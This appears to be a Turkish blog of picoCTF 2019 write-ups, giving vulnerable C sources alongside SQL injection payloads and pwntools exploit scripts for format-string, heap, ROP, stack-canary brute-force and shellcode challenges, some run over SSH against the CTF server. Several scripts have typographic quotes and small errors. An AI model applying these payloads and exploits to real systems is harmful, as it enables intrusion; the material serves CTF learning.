Başlangıç

picoctf:Empire1 sql injection için python scripti yazma. (Web Exploitation)

Yorum bırakın


SQL enjeksiyonu kontrolü için forma

'||(SQL)||'

Sunucu hatasını gördüğümde sql kod çalıştırılabileceğini görmüş  olduk. Bundan sonra sql kodları deneyerek sorudaki bahsedilen gizli şifreyi aramak gerekiyor. Bunun için toolda kullanılabilir.

'||(select tbl_name FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE)||'

burada user tablosunun olduğunu gördük.

'||(select sql FROM sqlite_master WHERE type='table' limit 1,1 COLLATE NOCASE)||'

tablodaki alanların listesini aldık. secret alanı dikkatimizi çekti.

'||(select secret FROM user where secret like '%picoCTF%' limit 0,1 COLLATE NOCASE||'

veya

' || (SELECT group_concat(secret) FROM user) || '

user tablosundan bayrağı çekiyoruz.

Şimdi Bunlarla ilgili scriptler; Bu Scriptler düzenlenecek???????

script1.py:

import re
import html
import requests
from cmd import Cmd
from bs4 import BeautifulSoup

class Empire1(object):
    BASE_URL = "https://2019shell1.picoctf.com/problem/32160"
    
    def __init__(self):
        self.session = requests.Session() 
        
    def login(self, username, password):
        text = self.post(self.BASE_URL + "/login", {"username": username, "password": password})
        if "Invalid username or password" in text:
            raise Exception("Can't login")

    def post(self, uri, data):
        r = self.session.get(uri, headers = {"Referer": uri})
        csrf = self.get_csrf_token(r.text)
        d = {"csrf_token": csrf}
        d.update(data)
        r = self.session.post(uri, data = d, allow_redirects = True, headers = {"Referer": uri})
        if r.status_code != 200:
            raise Exception("Can't post to '{}'".format(uri))
        return r.text

    def add_item(self, item):
        text = self.post(self.BASE_URL + "/add_item", {"item": item})
        if "Item Added" not in text:
            raise Exception("Can't add item '{}'".format(item))

    def get_last_item(self):
        r = self.session.get(self.BASE_URL + "/list_items")
        parsed_html = BeautifulSoup(r.text, "lxml")
        return parsed_html.body.find_all('div', attrs={'class':'well well-sm'})[-1].findChildren("li" , recursive=False)[0].get_text().replace("Very Urgent: ", "")


    def get_csrf_token(self, html):
        token = re.search(r'<input id="csrf_token" name="csrf_token" type="hidden" value="([^"]+)">', html, re.MULTILINE)
        if token is None:
            raise Exception("Can't find CSRF token")
        return token.group(1)

class MyPrompt(Cmd):
    def __init__(self):
        Cmd.__init__(self)
        self.site = Empire1()
        self.site.login("user", "password")
        print "Logged in"

    def do_exit(self, inp):
        return True
 
    def do_send(self, param):
        q = "'||({})||'".format(param)
        self.site.add_item(q)
        print self.site.get_last_item()
 
MyPrompt().cmdloop()

script2.py:

#-*- encoding: utf-8 -*-

import string
import requests
import random
import re
import binascii
from html.parser import HTMLParser

letters = string.ascii_letters + string.digits


class Flask(object):
    def __init__(self):
        self.s = requests.Session()
        self.s.proxies = {
            "http": "socks5://127.0.0.1:1080",
            "https": "socks5://127.0.0.1:1080",
        }
        self.url = "https://2019shell1.picoctf.com/problem/32160"
        self.username = "".join([random.choice(letters) for i in range(0x10)])
        self.password = "".join([random.choice(letters) for i in range(0x10)])
        self.regster()
        self.login()

    def regster(self):
        path = "/register"
        r = self.s.post(self.url + path, data={
            'csrf_token': self.get_csrf_token(path),
            'username': self.username,
            'name': self.username,
            'password': self.password,
            'password2': self.password,
            'submit': 'Register',
        }, timeout=2)

    def login(self):
        path = '/login'
        r = self.s.post(self.url + path, data={
            'csrf_token': self.get_csrf_token(path),
            'username': self.username,
            'password': self.password,
            'submit': 'Sign In',
        }, timeout=2)

    def get_csrf_token(self, path):
        r = self.s.get(self.url + path, timeout=2)
        csrf_token = re.search('<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">', r.text)
        if csrf_token:
            return csrf_token.group(1)

    def add_item(self, item):
        path = '/add_item'
        r = self.s.post(self.url + path, data={
            'csrf_token': self.get_csrf_token(path),
            'item': item,
            'submit': 'Create',
        }, timeout=2)
        if r.status_code == 500:
            return None
        else:
            rep = self.list_items()
            return rep[-1]

    def list_items(self):
        r = self.s.get(self.url + '/list_items', timeout=2)
        items = re.findall('<li>\\s*<strong>Very Urgent:</strong>\\s*(.*)\\s*</li>', r.text)
        items = list(map(lambda x: HTMLParser().unescape(x).strip(), items))
        return items


def brute_force(flask, payload):
    result = ""
    length = int(flask.add_item("'+length((%s))+'" % payload))
    payload = "'+hex(hex(substr((%s),{},4)))+'" % payload
    i = 1
    while i <= length:
        try:
            rep = flask.add_item(payload.format(i))
            #print(i, rep)
        except:
            rep = False

        if rep:
            result += binascii.unhexlify(binascii.unhexlify(rep).decode('utf-8')).decode('utf-8')
            print(result)
            i += 4
    print("Result:", result)


def main():
    f = Flask()
    brute_force(f, "SELECT name FROM sqlite_master WHERE type='table'")
    brute_force(f, "SELECT sql FROM sqlite_master WHERE type='table'")
    brute_force(f, "SELECT admin FROM user WHERE username='%s'" % f.username)
    brute_force(f, "SELECT secret FROM user WHERE username='%s'" % f.username)
    while True:
        payload = input("Payload: ")
        try:
            rep = f.add_item(payload)
        except:
            rep = False
        print("Respone:", rep, end="\n\n")


if __name__ == '__main__':
    main()

 

kodları güzel yazmışlar ama bir kaç eksik var vakit bulunca inceleyecem. ikiside aynı işi yapıyor.

 

 

Arabellek taşması(overflow) Printzz

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız.

Buradaki biçim dizeleri ile istismar için kullanılan printf için gerekli kaynak:

http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

Yapılan işlemler :buff taşır, format_strings ile hafızadaki bayrağı yazdır.

örneğin programa girdi olarak %x verirsek bellek adreslerini görürüz. bu yüzden bruteforce ile bayrakta saklananlar yazdırılabilir.

Dolayısıyla %XX$s, doğru ofset yaparsak, bayrağı yazdırabiliriz.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları vuln.c;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAG_BUFFER 128
#define LINE_BUFFER_SIZE 2000

void printMessage3(char *in)
{
puts(“will be printed:\n”);
printf(in);

//printf biçim dizeleri saldırısı
}
void printMessage2(char *in)
{
puts(“your input “);
printMessage3(in);
}

void printMessage1(char *in)
{
puts(“Now “);
printMessage2(in);
}

int main (int argc, char **argv)
{
puts(“input whatever string you want; then it will be printed back:\n”);
int read;
unsigned int len;
char *input = NULL;
getline(&input, &len, stdin);
//There is no win function, but the flag is wandering in the memory!
char * buf = malloc(sizeof(char)*FLAG_BUFFER);
FILE *f = fopen(“flag.txt”,”r”);
fgets(buf,FLAG_BUFFER,f);
printMessage1(input);
fflush(stdout);

//bayrak yığına yüklenmesine rağmen, yığın üzerinde hala bir işaretçi var.

}

çözüm script.py:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = ‘critical’

for i in range(1,100):
try:
s = process(‘./vuln’)
print i,
s.recvuntil(‘back:\n\n’)
s.sendline(‘%’ +str(i)+ ‘$s’)
response = s.recv()
print response
if ( ‘picoCTF’ in response ):
print “Found!!!”
exit()
s.close()
sleep(1)
except:
print error
sleep(1)

 

Arabellek taşması(overflow) messy-malloc

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Uzaktan Çalıştırarak Flag.txt dosyasını okumaya çalışacağız.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları auth.c;

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define LINE_MAX 256
#define ACCESS_CODE_LEN 16
#define FLAG_SIZE 64

struct user {
char *username;
char access_code[ACCESS_CODE_LEN];
char *files;
};

struct user anon_user;
struct user *u;

void print_flag() {
char flag[FLAG_SIZE];
FILE *f = fopen(“flag.txt”, “r”);
if (f == NULL) {
printf(“Please make sure flag.txt exists\n”);
exit(0);
}

if ((fgets(flag, FLAG_SIZE, f)) == NULL){
puts(“Couldn’t read flag file.”);
exit(1);
};

unsigned long ac1 = ((unsigned long *)u->access_code)[0];
unsigned long ac2 = ((unsigned long *)u->access_code)[1];
if (ac1 != 0x4343415f544f4f52 || ac2 != 0x45444f435f535345) {
fprintf(stdout, “Incorrect Access Code: \””);
for (int i = 0; i < ACCESS_CODE_LEN; i++) {
putchar(u->access_code[i]);
}
fprintf(stdout, “\”\n”);
return;
}

puts(flag);
fclose(f);
}

void menu() {
puts(“Commands:”);
puts(“\tlogin – login as a user”);
puts(“\tprint-flag – print the flag”);
puts(“\tlogout – log out”);
puts(“\tquit – exit the program”);
}

const char *get_username(struct user *u) {
if (u->username == NULL) {
return “anon”;
}
else {
return u->username;
}
}

int login() {
u = malloc(sizeof(struct user));

int username_len;
puts(“Please enter the length of your username”);
scanf(“%d”, &username_len);
getc(stdin);

char *username = malloc(username_len+1);
u->username = username;

puts(“Please enter your username”);
if (fgets(username, username_len, stdin) == NULL) {
puts(“fgets failed”);
exit(-1);
}

char *end;
if ((end=strchr(username, ‘\n’)) != NULL) {
end[0] = ‘\0’;
}

return 0;

}

int logout() {
char *user = u->username;
if (u == &anon_user) {
return -1;
}
else {
free(u);
free(user);
u = &anon_user;
}
return 0;
}

int main(int argc, char **argv) {

setbuf(stdout, NULL);

char buf[LINE_MAX];

memset(anon_user.access_code, 0, ACCESS_CODE_LEN);
anon_user.username = NULL;

u = &anon_user;

menu();

while(1) {
puts(“\nEnter your command:”);
fprintf(stdout, “[%s]> “, get_username(u));

if(fgets(buf, LINE_MAX, stdin) == NULL)
break;

if (!strncmp(buf, “login”, 5)){
login();
}
else if(!strncmp(buf, “print-flag”, 10)){
print_flag();
}
else if(!strncmp(buf, “logout”, 6)){
logout();
}
else if(!strncmp(buf, “quit”, 4)){
return 0;
}
else{
puts(“Invalid option”);
menu();
}
}
}

Çözüm(ezbere adresleri nasıl bulacağımı anlamadım, kod yapısı fikir versin diye çözümü yapıştırdım):https://github.com/noahc3/picoctf-2019-solutions/blob/master/Binary%20Exploitation/messy-malloc/solve.py

#! /usr/bin/env python2

from pwn import *

context.log_level = logging.CRITICAL

def login(username):
p.sendline(‘login’)
p.recvuntil(‘of your username\n’)
p.sendline(str(len(username)))
p.recvuntil(‘enter your username\n’)
p.sendline(username)
p.recvuntil(‘command:\n’)

def logout():
p.sendline(‘logout’)
p.recvuntil(‘command:\n’)

def printflag():
p.sendline(‘print-flag’)
p.recvuntil(‘Enter your command:\n[aaaaaaaaROOT_ACCESS_CODE]> ‘)
print(“Flag: ” + p.recvuntil(‘}’))
# ok so i literally have no idea whats happening here but it works so heck who am i to complain

print(“hacc in progress\n(usually takes up to 30 seconds)”)

p = remote(“2019shell1.picoctf.com”, 32276)

hacc = (‘a’*8) + ((p64(0x4343415f544f4f52) + p64(0x45444f435f535345)) * 4)

for i in range(1, 26):
login(‘aa’ + p64(0x4343415f544f4f52) + p64(0x45444f435f535345))
logout()
login(hacc[0:i])
logout()

login(‘aa’ + p64(0x4343415f544f4f52) + p64(0x45444f435f535345))
logout()
login(hacc[0:i])
printflag()
logout()

Arabellek taşması(overflow)ROP kullanımı.

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız.

payload = payload = (‘A’*28) +p32(gets_address) + p32(display_flag_address) + p32(win1_address)

Desc: https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/leap-frog.md

leap-frog – 300 Points

This is not the intended solution for this challenge. The intended solution is probably to:

  • call leapA
  • call leap3, but skip the “win1 == !win1” check
  • call leap2
  • call win() with the correct arguments However I could not successfully call leap3 to bypass the “win1 == !win1” check without segfaulting.

Instead, this solution makes a call to libc’s “gets” function which is able to write anything typed into stdin to any writable segment of memory. This sovler writes 0x01 (aka “true”) on top of the win1, win2, and win3 variables in memory to skip the need to call the leap functions. Then win() is called.

Note: Libraries like libc are loaded with ASLR. This means the addresses of the libraries in memory are random every time. To deal with this, the solver runs the program in a loop until gets happens to be at 0xf7e43ae1. It usually only takes a few seconds for libc to be loaded at the correct address. Because of this, this may not work on your system depending on what the memory manager assigns as valid ASLR addresses. It should definitely work on the shell server, though.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları rob.c;

include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
win1 = true;
}

void leap2(unsigned int arg_check) {
if (win3 && arg_check == 0xDEADBEEF) {
win2 = true;
}
else if (win3) {
printf(“Wrong Argument. Try Again.\n”);
}
else {
printf(“Nope. Try a little bit harder.\n”);
}
}

void leap3() {
if (win1 && !win1) {
win3 = true;
}
else {
printf(“Nope. Try a little bit harder.\n”);
}
}

void display_flag() {
char flag[FLAG_SIZE];
FILE *file;
file = fopen(“flag.txt”, “r”);
if (file == NULL) {
printf(“‘flag.txt’ missing in the current directory!\n”);
exit(0);
}

fgets(flag, sizeof(flag), file);

if (win1 && win2 && win3) {
printf(“%s”, flag);
return;
}
else if (win1 || win3) {
printf(“Nice Try! You’re Getting There!\n”);
}
else {
printf(“You won’t get the flag that easy..\n”);
}
}

void vuln() {
char buf[16];
printf(“Enter your input> “);
return gets(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}

Çözüm(taşma sonrası):

gets_address tespiti:

objdump -D -Mintel rop | grep gets
08048430 <gets@plt>:

display_flag_address tespiti:

objdump -D -Mintel rop | grep display_flag
080486b3 <display_flag>:
win1_address tespiti:

objdump -D -Mintel rop | grep win1
0804a03d <win1>:

oluşturulan python scripti: script.py

from pwn import *
elf = ELF(‘./rop’)

log.info(“win1 address: {}”.format(hex(elf.symbols[“win1”])))
log.info(“display_flag() address: {}”.format(hex(elf.symbols[“display_flag”])))
log.info(“gets address: {}”.format(hex(elf.symbols[“gets”])))

#win1_address = hex(elf.symbols[“win1”])
#display_flag_address = hex(elf.symbols[“display_flag”])
#gets_address = hex(elf.symbols[“gets”])

win1_address = elf.symbols[“win1”]
display_flag_address = elf.symbols[“display_flag”]
gets_address = elf.symbols[“gets”]

payload = (‘A’*28) +p32(gets_address) + p32(display_flag_address) + p32(win1_address)
#payload = (‘A’*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
# payload= (‘A’*28) + address_gets_plt + address_flag + address_win1
while True:
try:
p = process(‘./rop’)
p.recvuntil(‘> ‘)
p.sendline(payload)
p.sendline(‘\x01\x01\x01\x00’) # sets win1, win2, win3 to true via gets reading from stdin
print(‘Flag: ‘ + p.recvuntil(‘}’))
break
except:
p.close()

 

 

 

Arabellek taşması(overflow) Canary Brute Force ile Bulunması

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız. Ancak sabit bir canary değerini bruteforce yaparak bulmaya çalışacağız. Burada canary.txt den okunan canary değeri sabittir. Burada programı taşırıp(overflow) canary ekleyip programı display_flag fonksiyonuna atlatabilmek.

payload = ‘F’*32 + canary + ‘A’*0x10 + p32(0x566547ed)

Kaynak: picoctf 2019

Kaynak C Dosyası kodları vuln.c;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUF_SIZE 32
#define FLAG_LEN 64
#define KEY_LEN 4

void display_flag() {
char buf[FLAG_LEN];
FILE *f = fopen(“flag.txt”,”r”);
if (f == NULL) {
printf(“‘flag.txt’ missing in the current directory!\n”);
exit(0);
}
fgets(buf,FLAG_LEN,f);
puts(buf);
fflush(stdout);
}

char key[KEY_LEN];
void read_canary() {
FILE *f = fopen(“/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/canary.txt”,”r”);
if (f == NULL) {
printf(“[ERROR]: Trying to Read Canary\n”);
exit(0);
}
fread(key,sizeof(char),KEY_LEN,f);
fclose(f);
}

void vuln(){
char canary[KEY_LEN];
char buf[BUF_SIZE];
char user_len[BUF_SIZE];

int count;
int x = 0;
memcpy(canary,key,KEY_LEN);
printf(“Please enter the length of the entry:\n> “);

while (x<BUF_SIZE) {
read(0,user_len+x,1);
if (user_len[x]==’\n’) break;
x++;
}
sscanf(user_len,”%d”,&count);

printf(“Input> “);
read(0,buf,count);

if (memcmp(canary,key,KEY_LEN)) {
printf(“*** Stack Smashing Detected *** : Canary Value Corrupt!\n”);
exit(-1);
}
printf(“Ok… Now Where’s the Flag?\n”);
fflush(stdout);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);

read_canary();
vuln();

return 0;
}

overflow (taşma) ile canary bulma için brute force scriptdeneme.py;

from pwn import *
def find_canary():
canary = “”

for n in range(0, 4):
for i in range(0, 256):
p = process(‘./vuln’)
check = ‘F’*32 + canary + chr(i)
p.readuntil(‘> ‘)
p.sendline(str(33 + n))
p.readuntil(‘Input> ‘)
p.sendline(check)
out = p.recvall()
print(check)
print(out)
if “Ok…” in out:
canary += chr(i)
print(canary)
break

print(“Canary Found: ” + canary.encode(‘hex’))
return canary
find_canary()

overflow (taşma) ile canary bulma ve payload oluşturma script.py;

Önce display flag adresini bulalım: objdump -D -Mintel vuln | grep display_flag

#! /usr/bin/env python2

from pwn import *

def find_canary():
canary = “”
for n in range(0, 4):
for i in range(0, 256):
p = process(e.path)
check = ‘A’*32 + canary + chr(i)
p.readuntil(‘> ‘)
p.sendline(str(33 + n))
p.readuntil(‘Input> ‘)
p.sendline(check)
out = p.recvall()

if “Ok…” in out:
canary += chr(i)
break

print(“Canary Found: ” + canary.encode(‘hex’)+canary)
return canary

def solve(canary):
flag_text = “”

#loop until the PIE address lines up enough to print the flag
while (“pico” not in flag_text):
payload = ‘F’*32 + canary + ‘A’*0x10 + p32(0x566547ed)
p = process(e.path)

p.readuntil(‘> ‘)
p.sendline(str(len(payload)))
p.readuntil(‘Input> ‘)
p.send(payload)
p.recvuntil(“Ok… Now Where’s the Flag?\n”)
try:
flag_text=p.recvuntil(“\n”)
except:
p.close()

print(“Flag: ” + flag_text)

context.log_level = logging.ERROR
e = ELF(“./vuln”)

canary = find_canary()
solve(canary)

 

 

Arabellek taşması 64 bit(overflow)

Yorum bırakın


Kaynak bir 64 bit c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları vuln.c;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
char buf[FLAGSIZE];
FILE *f = fopen(“flag.txt”,”r”);
if (f == NULL) {
printf(“‘flag.txt’ missing in the current directory!\n”);
exit(0);
}

fgets(buf,FLAGSIZE,f);
printf(buf);
}

void vuln(){
char buf[BUFFSIZE];
gets(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts(“Welcome to 64-bit. Give me a string that gets you the flag: “);
vuln();
return 0;
}

overflow 64 bit(taşma);

Önce Flag adresini bulalım;

objdump -D -Mintel vuln | grep flag
0000000000400767 <flag>:
40078b: 75 16 jne 4007a3 <flag+0x3c>

burada basit bir taşma olayı için 64 bitlik adresi kullanmamız gerekiyor.

python -c “from pwn import *; print ‘A’*72+p64(0x0000000000400767)” | ./vuln 

gönderdiğimizde taşma gerçekleşiyor ama atlama yapmıyor. Adresi bir artırdığımızda sonuca ulaşıyoruz.

I. yol:

python -c “from pwn import *; print ‘A’*72+p64(0x0000000000400768)” | ./vuln

II. yol:

script.py dosyası oluşturursak:

#!/usr/bin/env python
from pwn import *
import sys

overflow1= "\x90" * (64 + 8)
flag_addr = p64(0x0400768)

exploit = overflow1+ flag_addr

p = process("./vuln")
p.sendline(exploit)
p.interactive()

 

Arabellek taşması(overflow)

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 176
#define FLAGSIZE 64

void flag(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen(“flag.txt”,”r”);
if (f == NULL) {
printf(“Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n”);
exit(0);
}

fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}

void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

gid_t gid = getegid();
setresgid(gid, gid, gid);

puts(“Please enter your string: “);
vuln();
return 0;
}

overflow (taşma) sonrası shellcode çalıştırma script.py;

from pwn import *

s = process('./vuln')
raw_input('debug')
flag = 0x80485e6 
main = 0x80486b5 
payload = 'a'*0xbc
payload += p32(flag)
payload += p32(main)
payload += p32(0xDEADBEEF)
payload += p32(0xC0DED00D)
s.sendline(payload)
s.interactive()

 

Kaynak kodunda bayrak işlevini görebilirsiniz. Arg1 == 0xdeadbeef ve arg2 == 0xcoded00d ise bu işlev bayrağı yazdırır. Hedefimiz flag fonksiyonunu arg1 = 0xdeadbeef ve arg2 = 0xcoded00d olarak çağırmaktır.

Güvenlik açığı () içinde, gets () sınırı kontrol etmeden girmemize izin verir. Böylece, güvenlik açığı () ‘nın dönüş adresinin üzerine yazabiliriz. Güvenlik adresinin () dönüş adresini bayrak adresine değiştirebilirsiniz.

offset adresini bulma: python -c “print 184 * ‘A'” | ./vuln olsada 4 tane daha eklemek gerekiyor: python -c “print 188 * ‘A'” | ./vuln

payload = 'a'*offset + flag_add

32 bit sistemde, bir fonksiyon ana tarafından çağrıldığında, parametreler ebp-8, ebp-c, … ‘de yığını iter (net görmek için hata ayıklama).

flag ve main adreslerinin tespiti:

objdump -D -Mintel vuln | grep flag

080485e6 <flag>:
8048618: 75 1c jne 8048636 <flag+0x50>
8048651: 75 1a jne 804866d <flag+0x87>
804865a: 75 14 jne 8048670 <flag+0x8a>
804866b: eb 04 jmp 8048671 <flag+0x8b>
804866e: eb 01 jmp 8048671 <flag+0x8b>

objdump -D -Mintel vuln | grep main

08048480 <__libc_start_main@plt>:
80484fd: e8 7e ff ff ff call 8048480 <__libc_start_main@plt>
080486b5 <main>:

Bu nedenle, bayrağı 2 parametreli olarak çağırmak istiyoruz, yük şöyle olmalıdır:

payload = 'a'*offset + flag_add + [4 bytes return address] + [4 bytes arg1] + [4 bytes arg2]

II.Yol:

Direk gönderebiliriz;

python -c “print ‘a’*188 + ‘\xe6\x85\x04\x08’+ ‘\xb5\x86\x04\x08’+ ‘\xef\xbe\xad\xde’+ ‘\x0d\xd0\xde\xc0′” | ./vuln

III.Yol:

#!/usr/bin/env python

from pwn import *
debug = 0

user = ‘Username’
pw = ‘Pasword’

if debug:
p = process(‘./vuln’)
else:
s = ssh(host = ‘2019shell1.picoctf.com’, user=user, password=pw)

s.set_working_directory(‘/problems/overflow-2_0_f4d7b52433d7aa96e72a63fdd5dcc9cc’)
p = s.process(‘./vuln’)

print p.recv()

flag = 0x80485e6

main = 0x80486b5

payload = ‘a’*0xbc

payload += p32(flag)

payload += p32(main)

payload += p32(0xDEADBEEF)

payload += p32(0xC0DED00D)

sc = payload
log.info(‘Sending shellcode: {}’.format(sc))
p.sendline(sc)

if debug:
p.interactive()
else:
p.sendline(‘ls’)
p.sendline(‘cat flag.txt’)
p.sendline(‘exit’)

print p.recvall()

Arabellek taşması2(shellcode çalıştırma)

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun içinde yeni bir kabuk oluşturma ve shellcode çalıştırma. Flag.txt dosyasını okumaya çalışacağız.

Kaynak: picoctf 2019

Kaynak C dosyası vuln.c;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){
gets(buf);
puts(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);

char buf[BUFSIZE];

puts(“Enter your shellcode:”);
vuln(buf);

puts(“Thanks! Executing from a random location now…”);

int offset = (rand() % 256) + 1;

((void (*)())(buf+offset))();
puts(“Finishing Executing Shellcode. Exiting now…”);

return 0;
}

 

overflow (taşma) sonrası shellcode çalıştırma script.py;

#!/usr/bin/env python

from pwn import *
debug = 0

user = ‘username’
pw = ‘password’

if debug:
p = process(‘./vuln’)
else:
s = ssh(host = ‘2019shell1.picoctf.com’, user=user, password=pw)

s.set_working_directory(‘/problems/slippery-shellcode_4_64839254839978b32eb661ca92071d48’)
p = s.process(‘./vuln’)

print p.recv()

sc = ‘\x90’ * 256 + asm(shellcraft.i386.linux.sh())
log.info(‘Sending shellcode: {}’.format(sc))
p.sendline(sc)

if debug:
p.interactive()
else:
p.sendline(‘ls’)
p.sendline(‘cat flag.txt’)
p.sendline(‘exit’)

print p.recvall()

 

Arabellek taşması2(Overflow the correct buffer in this program and get a flag)

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include “asm.h”

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
char buf[FLAGSIZE];
FILE *f = fopen(“flag.txt”,”r”);
if (f == NULL) {
printf(“Flag File is Missing. please contact an Admin if you are running this on the shell server.\n”);
exit(0);
}

fgets(buf,FLAGSIZE,f);
printf(buf);
}

void vuln(){
char buf[BUFFSIZE];
gets(buf);

printf(“Woah, were jumping to 0x%x !\n”, get_return_address());
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts(“Give me a string and lets see what happens: “);
vuln();
return 0;
}

Taşmanın tespiti:

 ./vuln
Give me a string and lets see what happens:
12
Woah, were jumping to 0x8048705 !
objdump -D -Mintel vuln | grep 8048705 -B 1
8048700: e8 5a ff ff ff call 804865f <vuln>
8048705: b8 00 00 00 00 mov eax,0x0
python -c “print 76 * ‘A'” | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x8048700 !
Woah, were jumping to 0x8048705 !
objdump -D -Mintel vuln | grep flag
080485e6 <flag>:
8048618: 75 1c jne 8048636 <flag+0x50>
python -c “print 72 * ‘A’ + ‘_ebp’ + ‘\xe6\x85\x04\x08′” | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{****************************}Segmentation fault (core dumped)

python içinde yaz kodları kısaca;

python

>>> from pwn import *
>>> import sys
>>> sh = process(‘vuln’, cwd=’/problems/overflow-1_4_6e02703f87bc36775cc64de920dfcf5a’)
[!] Could not find executable ‘vuln’ in $PATH, using ‘/problems/overflow-1_4_6e02703f87bc36775cc64de920dfcf5a/vuln’ instead
[x] Starting local process ‘/problems/overflow-1_4_6e02703f87bc36775cc64de920dfcf5a/vuln’
[+] Starting local process ‘/problems/overflow-1_4_6e02703f87bc36775cc64de920dfcf5a/vuln’: pid 2060364
>>> flag = p32(0x080485e6)
>>> payload = 72 * ‘A’ + ‘_ebp’ + flag
>>> sh.sendlineafter(‘: ‘, payload)
‘Give me a string and lets see what happens’
>>> sh.interactive()
[*] Switching to interactive mode

Woah, were jumping to 0x80485e6 !
picoCTF{*************************}[*] Got EOF while reading in interactive

[*] Got EOF while sending in interactive
>>>

Arabellek taşması(Overflow the correct buffer in this program and get a flag)

Yorum bırakın


Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
fprintf(stderr, “%s\n”, flag);
fflush(stderr);
exit(1);
}

void vuln(char *input){
char buf[128];
strcpy(buf, input);
}

int main(int argc, char **argv){

FILE *f = fopen(“flag.txt”,”r”);
if (f == NULL) {
printf(“Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n”);
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);

gid_t gid = getegid();
setresgid(gid, gid, gid);

if (argc > 1) {
vuln(argv[1]);
printf(“You entered: %s”, argv[1]);
}
else
printf(“Please enter an argument next time\n”);
return 0;
}

1. yol bir python betiği oluşturduk: script.py

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = ‘./vuln’

context.binary = BINARY
context.terminal = [‘tmux’, ‘splitw’, ‘-v’]

def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = ‘debug’

if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY

sh = process([BINARY,’a’*(128+4)+p32(0xdeadbeef)], stdout=stdout, stdin=stdin)

# if DEBUG:
# attach_gdb()

REMOTE = False
else:
s = ssh(host=’2019shell1.picoctf.com’, user=’deneme’, password=”deneme”)
sh = s.process([‘vuln’,’a’*(128+4)+p32(0xdeadbeef)], cwd=’/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7′)
REMOTE = True
sh.interactive()

2. yol yada yukarda ki kodu anlamadım diyorsanız.

